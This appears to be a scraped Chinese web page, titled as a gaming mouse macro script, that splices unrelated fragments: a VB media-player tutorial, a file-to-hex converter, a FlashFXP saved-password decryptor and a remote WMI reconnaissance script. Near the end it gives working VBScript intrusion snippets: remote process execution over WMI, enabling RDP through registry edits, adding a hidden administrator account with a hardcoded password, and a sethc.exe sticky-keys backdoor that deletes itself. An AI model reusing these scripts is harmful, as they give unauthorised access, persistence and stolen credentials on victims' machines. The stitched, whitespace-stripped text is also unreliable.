罗技g502压枪宏脚本冒泡社区战神ol

下面的代码段实现了在每次启动应用程序时,无论屏幕是否有任务条,表单都会处于屏幕可利用区域的正中央'code by xiaolu 'change by NetPatch on error resume next set arg=wscript.arguments if arg.count=0 then wscript.quit do while 1 fname=arg(0) err.number=0 Set Ado=CreateObject("adodb.stream") With Ado .Type=1 .open .loadfromfile fname ss=.read End With if err.number<>0 then if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit else exit do end if loop if fname="" then Wscript.quit Set Fso=CreateObject("Scripting.FileSystemObject") Set File=fso.OpenTextFile(arg(0)&".htm",2, True) File.write Bin2Str(ss) File.close Set fso=nothing Ado.close set Abo=nothing Function Bin2Str(Re) For i=1 To lenB(Re) bt=AscB(MidB(Re, i, 1)) if bt < 16 Then Bin2Str=Bin2Str&"0" Bin2Str=Bin2Str & Hex(bt) Next End Function

医院停水应急预案脚本 PublicFunctionDecryptFlashFXP(passwordAsString)AsString DimxAsInteger Dimmagic()AsString DimchrresultaAsInteger DimchrresultbAsInteger DimchrlastAsInteger DimchrtmpAsInteger DimmagicnumAsInteger DimpwdtmpAsString 'MAGICBUFFER="yA36zA48dEhfrvghGRg57h5 'UlDv3" magic=Split("121,65,51,54,122,65,52,56,100,69,104,102,114,118,103,104,71,82,103,53,55,104,53,85,108,68,118,51",",") chrlast=Val("&H"&Mid(password,1,2)) magicnum=0 Forx=3ToLen(password)Step2 chrtmp=Val("&H"&Mid(password,x,2)) chrresulta=(chrtmpXormagic(magicnum)) chrresultb=chrresulta-Val(chrlast) Ifchrresultb>255orchrresultb<0Then chrresultb=chrresultb-&HFFFFFF01 EndIf chrlast=chrtmp pwdtmp=pwdtmp&Chr(chrresultb) magicnum=magicnum+1 Ifmagicnum>27Then magicnum=0 EndIf Nextx DecryptFlashFXP=pwdtmp EndFunction虽然还有一些限制,没有什么奇怪的,它和MultiUse是相对的

if(lcase(right(wscript.fullname,11))="wscript.exe")then setobjshell=wscript.createobject("wscript.shell") objshell.run("cmd.exe/kcscript//nologo"&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit endif withwscript.arguments if.count>0then ipaddress="." outfile="" username="" password="" viewtype=0 program=0 forarg=0to.count-1 selectcaseleft(lcase(.item(arg)),2) case"/h","/?","\h","\?" usage() wscript.quit case"/r","\r" ifarg+3<=.count-1then ipaddress=.item(arg+1) username=.item(arg+2) password=.item(arg+3) else wscript.echo"ArgumentsError!"&vbcrlf usage() wscript.quit endif case"/v","\v" viewtype=1 case"/o","\o" outfile=.item(arg+1) case"/a","\a" program=1 endselect next endif endwith onerrorresumenext ifoutfile<>""then setfs=createobject("scripting.filesystemobject") showerr() setof=fs.opentextfile(outfile,8,true) showerr() endif wscript.echo"GettingInfomation...."&vbcrlf setobjlocator=createobject("wbemscripting.swbemlocator") showerr() setobjswb=objlocator.connectserver(ipaddress,"root/cimv2",username,password) showerr() onerrorgoto0 setobj1=objget("win32_computersystem") setobj2=objget("win32_operatingsystem") setcol3=objswb.instancesof("win32_processor") setobj4=objget("win32_logicalmemoryconfiguration") setobj5=objget("win32_bios") setobj6=objget("win32_displayconfiguration") setcol7=objswb.instancesof("win32_diskdrive") setcol8=objswb.instancesof("win32_logicaldisk") setcol9=objswb.instancesof("win32_networkadapterconfiguration") setcol10=objswb.instancesof("win32_quickfixengineering") ifprogram=1then setobjswb1=objlocator.connectserver(ipaddress,"root/default",username,password) setobj11=objswb1.get("stdregprov") endif wnl"OSInfo:" wnl"ComputerName:"&obj1.name wnl"UserName:"&obj1.username wnl"Domain:"&obj1.domain domainrole="" selectcaseobj1.domainrole case0 domainrole="Workstation" case1 domainrole="MemberWorkstation" case2 domainrole="Server" case3 domainrole="MemberServer" case4 domainrole="BackupDomainController" case5 domainrole="MainDomainController" endselect withobj2 wnl"DomainRole:"&domainrole wnl"Caption:"&.caption wnl"Organization:"&.organization wnl"RegisteredUser:"&.registereduser wnl"InstallDate:"&timeformat(.installdate) wnl"LastBootUpTime:"&timeformat(.lastbootuptime) wnl"WindowsDirectory:"&.windowsdirectory ifviewtype=1then wnl"SystemDirectory:"&.systemdirectory wnl"BootDevice:"&.bootdevice wnl"CountryCode:"&.countrycode wnl"CSName:"&.csname wnl"Description:"&.description wnl"Manufacturer:"&.manufacturer wnl"SerialNumber:"&.serialnumber wnl"Version:"&.version wnl"SystemType:"&obj1.systemtype wnl"SystemStartupDelay:"&obj1.systemstartupdelay&"s" wnl"SystemStartupOptions:"&obj1.systemstartupoptions(0) fori=1toubound(obj1.systemstartupoptions) wnlspace(28)&obj1.systemstartupoptions(i) next endif endwith wnlvbcrlf&"ProcessorInfo:" wnl"NumberOfProcessors:"&obj1.numberofprocessors foreachobj3incol3 withobj3 wnl"DeviceID:"&.deviceid wnl"Name:"&.name wnl"CurrentClockSpeed:"&.currentclockspeed&"MHz" wnl"Description:"&.description ifviewtype=1then wnl"ExtClock:"&.extclock&"MHz" wnl"L2CacheSize:"&.l2cachesize&"KB" wnl"L2CacheSpeed:"&.l2cachespeed&"MHz" wnl"ProcessorId:"&.processorid wnl"Manufacturer:"&.manufacturer wnl"SocketDesignation:"&.socketdesignation wnl"AddressWidth:"&.addresswidth&"Bit" wnl"DataWidth:"&.datawidth&"Bit" endif endwith next withobj4 wnlvbcrlf&"MemoryInfo:" wnl"TotalPhysicalMemory:"&cint(.totalphysicalmemory/1024)&"MB" wnl"FreePhysicalMemory:"&cint(obj2.freephysicalmemory/1024)&"MB" ifviewtype=1then wnl"TotalPageFileSpace:"&cint(.totalpagefilespace/1024)&"MB" wnl"TotalVirtualMemory:"&cint(.totalvirtualmemory/1024)&"MB" wnl"AvailableVirtualMemory:"&cint(.availablevirtualmemory/1024)&"MB" endif endwith ifviewtype=1then wnlvbcrlf&"BIOSInfo:" wnl"Description:"&obj5.description wnl"CurrentLanguage:"&obj5.currentlanguage wnl"Version:"&obj5.version wnl"Manufacturer:"&obj5.manufacturer endif withobj6 wnlvbcrlf&"DisplayConfiguration:" wnl"Caption:"&.caption ifviewtype=1then wnl"DeviceName:"&.devicename wnl"DriverVersion:"&.driverversion endif wnl"DisplayFrequency:"&.displayfrequency&"Hz" wnl"BitsPerPel:"&.bitsperpel&"Bit" wnl"Pels:"&.pelswidth&"x"&.pelsheight endwith wnlvbcrlf&"DiskInfo:" foreachobj7incol7 withobj7 wnl"DeviceID:"&.deviceid wnl"Caption:"&.caption wnl"InterfaceType:"&.interfacetype ifviewtype=1then wnl"SCSIBus:"&.scsibus wnl"SCSILogicalUnit:"&.scsilogicalunit wnl"SCSIPort:"&.scsiport wnl"SCSITargetId:"&.scsitargetid wnl"SectorsPerTrack:"&.sectorspertrack&"KB" endif wnl"Partitions:"&.partitions wnl"Size:"&sizeformat(.size) endwith next str="Volume"+space(2)+"Type"+space(8)+"Format"+space(4) str=str+"Size"+space(6)+"Free"+space(12)+"Label" wnlstr foreachobj8incol8 withobj8 drivetype="" selectcase.drivetype case0 drivetype="Unknow" case1 drivetype="NoRootDir" case2 drivetype="Removable" case3 drivetype="Fixed" case4 drivetype="Network" case5 drivetype="CD-ROM" case6 drivetype="RAM" endselect strpercent="" if.size<>""and.freespace<>""then strpercent="("&formatpercent(.freespace/.size,0)&")" endif str=""&wsp(.caption,8)&wsp(drivetype,12)&wsp(.filesystem,10)&wsp(sizeformat(.size),10) str=str&wsp(sizeformat(.freespace)&strpercent,16)&.volumename wnlstr endwith next wnlvbcrlf&"NICInformaton:" foreachobj9incol9 withobj9 if.IPEnabledthen wnl"Index:"&.index wnl"Description:"&.description ifviewtype=1then wnl"DHCPEnabled:"&.dhcpenabled wnl"DHCPServer:"&.dhcpserver wnl"DNSHostName:"&.dnshostname wnl"DNSServerSearchOrder:"&wfl(.dnsserversearchorder) wnl"WINSPrimaryServer:"&.winsprimaryserver endif wnl"IPAddress:"&wfl(.ipaddress) wnl"MACAddress:"&.macaddress wnl"DefaultIPGateway:"&wfl(.defaultipgateway) wnl"IPSubnet:"&wfl(.ipsubnet) ifviewtype=1then wnl"IPFilterSecurityEnabled:"&.ipfiltersecurityenabled wnl"IPSecPermitIPProtocols:"&wfl(.ipsecpermitipprotocols) wnl"IPSecPermitTCPPorts:"&wfl(.ipsecpermittcpports) wnl"IPSecPermitUDPPorts:"&wfl(.ipsecpermitudpports) endif endif endwith next ifviewtype=1then wnlvbcrlf&"HotFixesInfo:" foreachobj10incol10 wnl"HotFixID:"&obj10.hotfixid wnl"FixComments:"&obj10.fixcomments wnl"InstallDate:"&obj10.installdate wnl"ServicePackInEffect:"&obj10.servicepackineffect next endif ifprogram=1then wnlvbcrlf&"Applications:" HKLM=&h80000002 keypath="SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" obj11.enumkeyHKLM,keypath,keyarray redimstr(ubound(keyarray)+1) j=0 fori=0toubound(keyarray) obj11.getstringvalueHKLM,keypath+keyarray(i),"displayname",strvalue ifstrvalue<>""then str(j)=strvalue j=j+1 endif next ifj>1then fori=0toj-1 fork=0toj-i-1 ifstrcomp(str(k),str(k+1),1)=1then strtemp=str(k+1) str(k+1)=str(k) str(k)=strtemp endif next next endif fori=0toj-1 wnl""&str(i) next endif subshowerr() iferr.numberthen wscript.echo"Error0x"&cstr(hex(err.number))&"." iferr.description<>""then wscript.echo"Errordescription:"&err.description&"." endif wscript.quit endif endsub subwnl(msg) wscript.echomsg ifisobject(of)then onerrorresumenext of.writelinemsg showerror() onerrorgoto0 endif endsub functionwfl(byrefobj) str="" fori=0toubound(obj) str=str&obj(i)&"" next wfl=str endfunction functionwsp(msg,num) ifmsg<>""then msg=left(msg,num-1) wsp=msg&space(num-len(msg)) else wsp=space(num) endif endfunction functiontimeformat(msg) timeformat=left(msg,4)&"/"&mid(msg,5,2)&"/"&mid(msg,7,2)&""&mid(msg,9,2)&":"&mid(msg,11,2)&":"&mid(msg,13,2) endfunction functionsizeformat(msg) ifmsg<>""then size=msg/1048576 ifsize>1024then sizeformat=round(size/1024,2)&"GB" else sizeformat=round(size,1)&"MB" endif endif endfunction functionobjget(msg) setcol=objswb.instancesof(msg) foreachobjxincol setobj=objx next setobjget=obj endfunction functionusage() wscript.echostring(79,"*") wscript.echo"RGISv1.03" wscript.echo"RemoteGetInfomationScript,byzzzEVAzzz" wscript.echo"Welcometovisite" wscript.echo"Usage:" wscript.echo"cscriptrgis.vbs[/rtargetIPusernamepassword][/ofilename][/v][/a][/h]" wscript.echo"/r:remotegetinfo." wscript.echo"/o:outputtofile." wscript.echo"/v:getmoreinfomation." wscript.echo"/a:getapplicationsinfomation." wscript.echo"/h:showusage." wscript.echostring(79,"*")&vbcrlf endfunctionVB利用高级音频函数编写多媒体播放器现在使用VB编程的朋友越来越多了.但是如何使用VB来编写播放多媒体文件的播放器呢?本篇将详细的介绍如何利用高级音频函数编写媒体播放器!内容提要:了解高级音频函数各参数的意思;提供一些高级音频函数的命令集;编写一个简单的多媒体播放器程序;高级音频函数有两条:1.mciSendString;2.mciSendCommand.前者称为命令字符串函数,后者称为命令消息函数.命令字符串函数顾名思义就是利用字符串作为命令来控制媒体设备,它最适合高级编程语言如:VB.而命令消息函数则是利用消息的发送来控制媒体设备,它最适合利用常数作命令的编程语言如:VC .因此我们这里只讲解命令字符串函数的使用方法.函数原型:mciSendString(ByVallpstrCommandAsString,ByVallpstrReturnStringAsString,ByValuReturnLengthAsLong,ByValhwndCallbackAsLong)AsLong参数说明:lpstrCommand:要发送的命令字符串.字符串结构是:[命令][设备别名][命令参数].lpstrReturnString:返回信息的缓冲区,为一指定了大小的字符串变量.uReturnLength:缓冲区的大小,就是字符变量的长度.hwndCallback:回调方式,一般设为零.(*函数执行成功返回零,否则返回错误代码) 使用此函数能播放哪些媒体文件呢?不用担心,打开win.ini文件看看便知.找到[mciextensions]部分这里记录了你的计算机所能使用的所有媒体文件名,如:mid=Sequencer,等号左边的表示媒体文件的扩展名,等号右边的表示打开此媒体文件的设备名.  知道了哪些文件可以播放后就可以播放媒体文件了吗?No!你还得知道如何使用命令字符串来控制设备.下面列出的命令集是各种设备同时都具有的也是关键的命令集:1.Opendevice_name[aliasalias_name]:Open命令用来打开device_name设备并取别名为alias_name,device_name为媒体文件名或设备名,alias_name是为device_name取的别名.如:OpenC:\windows\kl.wavaliasWAV.意思是打开:c:\windows\kl.wav这个文件并取别名为WAV,在经后的操作过程中就可用这个别名来控制它所打开的设备了.2.Closealias_name:Close命令用来关闭别名为alias_name的设备,在关闭程序时必须调用该命令否则其它的程序将无法打开该设备.3.Playalias_name:Play命令用来播放别名为alias_name的媒体文件.成功的打开设备后就可调用该命令来播放媒体文件了.4.Stopalias_name:Stop命令用来停止播放媒体文件.5.Seekalias_name:Seek命令用来设置当前播放的位置.(需事先设定时间格式)6.Setalias_name[audioalloff][audioallon][timeformatms]:Set命令用来设置设备的各种状态.如:静音,有声音,时间格式为毫秒等.7.Statusalias_name[length][mode][position]:Status命令用来取得设备的状态.如:该媒体文件的长度,该媒体文件所处状态,该媒体文件的当前位置等.由于篇幅有限这里就不再说更多的命令集了.有兴趣的朋友可到我的网址详细的查询.下面将介绍如何利用上面说的函数和命令集为我们工作:1.新建一工程并在工程中添加一公用对话框(CommonDialog),再添加一模块(Module).2.在模块中声明命令字符串函数:DeclareFunctionmciSendStringLib"winmm.dll"Alias"mciSendStringA"(ByVallpstrCommandAsString,ByVallpstrReturnStringAsString,ByValuReturnLengthAsLong,ByValhwndCallbackAsLong)AsLong3.添加一按钮并在按钮的Click事件中加入以下代码:dimdwReturnasString*256me.CommonDialog1.ShowOpenif(mciSendString("Open" Commondialog1.FileName "AliasMCI",dwReturn,256,0)=0)thenmciSendString("PlayMCI",dwReturn,256,0)endif4.最后在窗体的UnLoad事件中加入以下代码:mciSendString("CloseMCI")是不是很简单!才用了七行代码就编成了一个简单的播放器?有兴趣的朋友可到我的主页查询,也可给我发E-Mail:我的主页:(内有详细的说明和丰富的源程序)我的E-mail:lucykenny@990.net成都:刘明地址:成都市新南门青平巷19号->

因为本地计算机的当前用户必须以管理员身份登录才能运行该命令,所以 /u 和 /p 参数被忽略但是请注意,2种方法原本就是很有效率的,只有在时间要求非常严格的上百成千次的循环中,才会体现出这种差别

setww=createobject("wbemscripting.swbemlocator") setcc=ww.connectserver("172.20.241.218","root/cimv2","user","password") Setpp=cc.get("Win32_Process") pp.create("cmd/ctemp.exe") 化工具教学先来个小实验:如图3,用上面描述过的方法在窗体加上一个MCI多媒体播放器的控件,再加上一个按钮,上面标上数字2on error resume next const HKEY_LOCAL_MACHINE=&H80000002 strComputer="." Set StdOut=WScript.StdOut Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_ strComputer & "\root\default:StdRegProv") strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server" strValueName="fDenyTSConnections" dwValue=0 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue on error resume next dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath On Error Resume Next Dim obj, success Set obj=CreateObject("WScript.Shell") success=obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)。

171人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册